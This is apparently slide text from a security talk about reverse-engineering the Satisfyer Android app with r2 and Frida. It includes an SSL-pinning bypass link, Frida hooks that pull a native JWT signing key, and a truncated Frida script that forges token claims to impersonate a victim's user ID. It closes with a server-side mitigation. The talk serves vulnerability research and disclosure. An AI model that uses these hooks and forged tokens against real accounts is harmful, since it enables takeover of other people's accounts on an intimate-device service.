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WHO R U MAN
I spawn calc with r2
https://bananamafia.dev/tags/r2/

https://bananamafia.dev/tags/r2/












DYNAMIC ANALYSIS
Burp
Frida
Universal Cert Pinning Bypass

https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/




public final class JwtTokenBuilder {


    public JwtTokenBuilder() {


        System.loadLibrary("native-lib");


    }


    [...]


    private final native String getReleaseKey();


    public final String createJwtToken() {


        Date date = new Date(new Date().getTime() + (long)8640

        Object object = "prod".hashCode() != 3449687 ? this.ge

        Charset charset = d.a;




UNAUTH ↔ AUTH
{"alg":"HS512"}.{"sub":"Satisfyer","auth":"ROLE_ANONYMOUS_CLIE

{"alg":"HS512"}.{"sub":"pancake1337","auth":"ROLE_USER","user_

                



EXTRACTING THE SIGNING KEY
r2
Frida
r2Frida



USING R2 (DEMO)



USING FRIDA #1
var JwtTokenBuilderClass = Java.use("com.coreteka.satisfyer.ap

var jwtTokenBuilder = JwtTokenBuilderClass.$new();


console.log("Release Key: " + jwtTokenBuilder.getReleaseKey())

    



USING FRIDA #2
Interceptor.attach(Module.findExportByName("libnative-lib.so",

"Java_com_coreteka_satisfyer_api_jwt_JwtTokenBuilder_getReleas

    onEnter: hookEnter,


    onLeave: hookLeave


});


function hookEnter(args) {}


function hookLeave(ret) {


    console.log(ret);

}


    



USING R2FRIDA

0:00 / 0:30



FORGING A JWT WITH FRIDA
Java.perform(function() {


    var clazz = Java.use("io.jsonwebtoken.impl.DefaultJwtBuild

    clazz.claim.overload("java.lang.String", "java.lang.Object

        console.log("[*] Entered claim()");


        var Integer = Java.use("java.lang.Integer");


        // the user ID of the victim


        var intInstance = Integer.valueOf(282[...]);


        // modify the "auth" claim and add another claim for "

        var res = this.claim(name, "ROLE_USER").claim("user_id

        return res;










MITIGATION
Use different key to validate authenticated sessions
Server-side only fix



WHAT DID WE LEARN?
Many ways to analyze apps with r2 and Frida
Both statically and dynamically
r2Frida: Great when reversing complex apps
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REFERENCES
butthax by @smealum
My Writeup

https://github.com/smealum/butthax
https://bananamafia.dev/post/satisfyer

